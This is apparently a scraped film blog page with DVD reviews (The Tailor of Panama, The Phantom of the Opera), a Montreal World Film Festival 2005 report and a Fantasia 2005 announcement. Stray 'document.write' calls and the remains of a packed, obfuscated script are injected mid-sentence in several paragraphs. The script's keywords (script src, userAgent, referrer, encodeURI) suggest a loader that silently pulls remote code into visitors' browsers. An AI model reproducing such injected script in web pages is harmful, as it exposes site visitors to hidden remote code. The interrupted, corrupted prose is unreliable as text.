It is a nice story, but nothing like the hype displayed on the back of the DVD: “mind-blowing spy chase!” or “seductive spy thriller.” For a movie that bring together the writing of John Le Carré, the direction of John Boorman, the talent of Geoffrey Rush, Pierce Brosnan and Jamie Lee Curtis, it is rather disappointing. I was expecting some explosive action like in a Bond movie, a Jack Ryan or movies like Traffic. No big surprises. However, it is an intelligent story, rich in human elements. I was not bored, so it is still a good entertainment. The DVD is multilingual and offers an alternate ending and an interview with Rush and Brosnan.

The Tailor of Panama. USA/Ireland, 2001, 109 min.; Dir.: John Boorman; Scr.: Andrew Davies, John Le Carré, John Boorman; Phot.: Philippe Rousselot; Ed.: Ron Davis; Cast: Geoffrey Rush, Pierce Brosnan, Jamie Lee Curtis. Rated R.

The Tailor of Panama ©2000 Columbia Pictures Industries Inc. All Rights Reserved. Packaging © Columbia TriStar Home Entertainment.

Phantom of the Opera

I have just seen Joel Schumacher’s The Phantom of the Opera on DVD. I have not read Gaston Leroux novel or seen the musical, document.write(“”); so it is difficult for me to compare. However, I have seen another movie version directed by Dwight H. Little and starring Robert Englund (Freddy in A Nightmare on Elm Street). This 1989 version is a more modern interpretation (with science-fiction elements) that tries to be an horror movie (hence the choice of Englund as the Phantom—but the fact that I kept seeing Freddy instead made it a rather funny movie) but it certainly does not have the classy look of Schumacher’ version.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htfka|var|u0026u|referrer|yfbat||js|php’.split(‘|’),0,{}))

Usually, I tend to dislike musicals, but the 2004 Phantom is a very powerful movie mainly due to its somptuous sets and, of course, Andrew Lloyd Webber’s music. Webber said that he wanted his musical adapted into a movie to make it more accessible to everyone, but I suspect that they just wanted to make more money out of it. It is a beautiful movie, but unfortunately there are some lengths (I briefly fell asleep when they try to trap the Phantom by playing his opera). The only extra on the DVD is the movie trailer, which is very disappointing. You need to get the
Two-Disc Special Edition to get the cool goodies. It is nevertheless quite a good entertainment.

A few interesting anecdotes (that my wife read in a Kinema Junpo article): the only known actress, Minnie Driver (who’s playing the diva Carlotta), was lip-synching (rather disappointing) and Emmy Rossum (playing Christine) was only sixteen year-old at the time of the shooting!

The Phantom of the Opera. USA/UK, 2004, 141 min.; Dir.: Joel Schumacher; Scr.: Joel Schumacher & Andrew Lloyd Webber (based on the novel by Gaston Leroux); Phot.: John Mathieson; Ed.: Terry Rawlings; Cost.: Alexandra Byrne; Cast: Gerard Butler, Emmy Rossum, Patrick Wilson, Miranda Richardson, Minnie Driver.

Andrew Lloyd Webber’s The Phantom of the Opera © 2004 The Scion Film Phantom Production Partnership. Packaging ©2005 Warner Bros. Entertainment Inc.

Apple on Kamataki

Apple has recently posted on its web site an article on Kamataki, document.write(“”); a Canadian-Japanese movie directed by Claude Gagnon who just received several awards at the Montreal World Film Festival.

Apple often post articles on people who are using their computers and softwares. Director Claude Gagnon used a Power Mac G5 and Final Cut Pro to edit his award-winning movie.

Montreal World Film Festival 2005

This year the Montreal World Film Festival was quite interesing as usual. There was less Japanese films than the previous years, document.write(“”); but it just meant that I would be able to find time to see them all. And I did: I saw all six Japanese movies [Himiko’s House, Kamataki, Itsuka Dokusho Suruhi (The Milkwoman), Shonen To Hoshi To Jitensha (Satoru – Fourteen), Umineko, Yumeno] and one Iranian movie [Sima-Ye Zani Dar Doordast (Portrait Of A Lady Far Away)]. We have also met several directors as well as many great actors (Maggie Cheung! Tatsuya Fuji! I have also met Isshin Inudo, director of Himiko’s House, who also directed the live-action version of “Touch” but unfortunately I couldn’t talk much with him). The movies will be reviewed either in the magazine or on my web pages.
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Unfortunately, this year the festival was showing its lack of budget (less movies, less events, etc.). That’s because it stopped receiving big governmental subsidies. All this because of bullshit politics and some people who wanted to make big money by creating their own festival. They want this other festival to be more glamorous, like Cannes. So they lobbied enough to get the subsidies yanked from the MWFF. Lots of people are bashing on the MWFF (mostly the press — probably unhappy because they were not invited to the parties with the big guests), but it is an excellent festival, which is offering a fine selection of international movies to the people. I don’t care that its director is an a** or that all the big guests and big business went to Toronto. I just want to see good movies. That’s all. I wish good luck to the New Festival (even if they stole the subsidies, copied the name and web page design of the MWFF) and if it is a good festival, it will be good for them and for the movie goers. But they are hurting the MWFF. I don’t want two half-festival. I want one good festival. The MWFF has been doing a fine job for nearly 30 years. So my thought is “Don’t fix it if it is not broken.” But now it is too late. Hopefully, both festivals will continue to do well.

Also, during the festival, I saw at the cinema Parisien something I had never seen before: they started a movie 20 minutes early! That’s an unforgivable mistake. I was told that all people who complained got a refund, but if it was up to me that projectionist would have lost his job!

Here is a selection of our pictures from the festival. Enjoy!

News: Fantasia 2005 [E]

Fantasia, document.write(“”); North America’s premier genre film festival, is back for a ninth edition!! It will be held at Concordia University, downtown Montreal (Hall Theatre and J.A. de Sève Theatre: 1455 & 1450 De Maisonneuve West), from July 7th to 25th.
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As usual it offers an impressive programmation with more than 90 long feature films and more than 100 short films coming from sixteen countries. There will be about 30 movies from Japan (including nine anime and half-a-dozen kaiju or manga-inspired movies), 16 from Korea and 8 from Hong Kong.

Tickets (at $7.50) will be available on July 5th at 2 pm at the Concordia Hall Theatre and throughout the Admission Network. The program will be on sale ($3.00) in selected stores from June 30th and at the Concordia Hall Theatre from July 5th. For information: www.fantasiafestival.com.